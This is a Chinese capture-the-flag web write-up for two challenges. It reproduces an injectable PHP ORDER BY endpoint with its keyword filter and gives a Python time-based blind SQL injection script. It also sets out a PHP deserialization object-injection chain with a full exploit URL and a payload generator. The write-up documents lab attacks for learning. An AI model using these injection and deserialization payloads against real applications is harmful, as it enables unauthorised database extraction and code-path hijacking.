第十三届全国大学生信息安全竞赛 华中赛区 部分web wp

Day1

注入题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
include_once("./conf/conf.php");
header('Content-type:text/json');
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
$response = array(
"status" => "MYSQL CONNECTION ERROR"
);
die(json_encode($response));
}
$orderby = isset($_GET['orderby']) ? $_GET['orderby'] : "3";
$waf="/select|union|sleep|benchmark|elt|if|rpad|rlike|like|regexp/i";
if(preg_match($waf,$orderby)){
$response = array(
"status" => "WAF"
);
die(json_encode($response));
}
$sql = "SELECT nickname, money, date FROM award order by $orderby";
$result = $conn->query($sql);
if($conn->error){
$response = array(
"status" => "EXCUTION ERROR"
);
die(json_encode($response));
}
if ($result->num_rows > 0) {
$sum = 0;
$response = array(
"status" => "OK",
"sum" => "",
"result" => array()
);
while($row = $result->fetch_assoc()) {
$response["result"][]=$row;
$sum += intval($row["money"]);
}
$sum = (string)$sum . ".00";
$response["sum"] = $sum;
}
echo json_encode($response);

血亏,后面fix发现数据库是mysql8.0

可以使用ELT和benchmark进行盲注,因为源码中分隔线打成中文的了;unionselect被过滤了,可以用table

主要难点是猜藏flag的库名和表名,开始用length()判断是否存在某字段,不过现在才发现这种方法只能测同表是否有该字段……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://10.211.55.7/sql/award.php?orderby=ELT((table flag.flag)<(1,binary('{}')),benchmark(10000000,md5(1)))"

flag = 'flag{'

for i in range(100):
for i in range(33,128):
print(i)
try:
s = requests.get(url.format(flag+chr(i)), timeout=2)
except Exception as e:
flag += chr(i-1)
print(flag)
break

Day2

you_unknow_me

1.首先看class.php,流程为:level1销毁执行$username(),让$username等于level2对象,会触发__invoke,执行check_name()会进行stristr比较,让$username等于level3对象会在比较时触发__tostring,执行get_flag方法拿到flag

2.在将对象someone序列化字符串写入和读出文件时进行了字符串替换,长度发生了改变,利用uuuuuu替换成三个字符产生对象注入,将原有的your_pass吃掉,可将对象level1注入到someone对象中

3.除此之外还进行了check判断字符串中是否含有username,这里用到序列号符号S,可以将字符串用\xx,即字符的16进制格式表示,可以绕过检测

4.level2反序列化时调用了__wakeup,将序列号字符串的类属性格式改成大于原有的个数即可绕过

5.index.php提交参数时需要以get方式提交your_name.ableyour_pass.able,这里考察了php的一个bug:

1
https://github.com/php/php-src/commit/fc4d462e947828fdbeac6020ac8f34704a218834

变量名使用[,后面的特殊字符会自动忽略掉

步骤:

1.访问:

1
http://172.20.12.169:8001/?your[name.able=uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu&your[pass.able=%22%22;S:12:%22\00\2a\00\79\6f\75\72\5f\70\61\73\73%22;O:6:%22level1%22:1:{S:11:%22\00\2a\00\75\73\65\72\6e\61\6d\65%22;O:6:%22level2%22:2:{S:11:%22\00\2a\00\75\73\65\72\6e\61\6d\65%22;O:6:%22level3%22:1:{S:11:%22\00\2a\00\75\73\65\72\6e\61\6d\65%22;s:5:%22Guest%22;}}}

2.访问:

1
http://172.20.12.169:8001/guest.php

拿到flag

构造使用的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
function get($data){
$data = str_replace('uuuuuu', chr(0)."*".chr(0), $data);
return $data;
}
function put($data){
$data = str_replace(chr(0)."*".chr(0), 'uuuuuu', $data);
return $data;
}

class someone{
protected $your_name;
protected $your_pass;
protected $admin;

public function __construct($username, $password, $admin = 0){
$this->your_name = $username;
$this->your_pass = $password;
$this->admin = $admin;
}
}

class level1{
protected $username;

public function __construct(){
$this->username = new level2();
}
}

class level2{
protected $username;

public function __construct(){
$this->username = new level3();
}
}

class level3{
protected $username = "";

public function __construct($username = "Guest"){
$this->username = $username;
}
}

$a= new level1();
echo serialize($a);
echo "\n";
$p = new someone('uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu', '"";S:12:"\00\2a\00\79\6f\75\72\5f\70\61\73\73";O:6:"level1":1:{S:11:"\00\2a\00\75\73\65\72\6e\61\6d\65";O:6:"level2":1:{S:11:"\00\2a\00\75\73\65\72\6e\61\6d\65";O:6:"level3":1:{S:11:"\00\2a\00\75\73\65\72\6e\61\6d\65";s:5:"Guest";}}}');
echo get(put(serialize($p)));
echo "\n";
//echo urlencode(get(put(serialize($p))));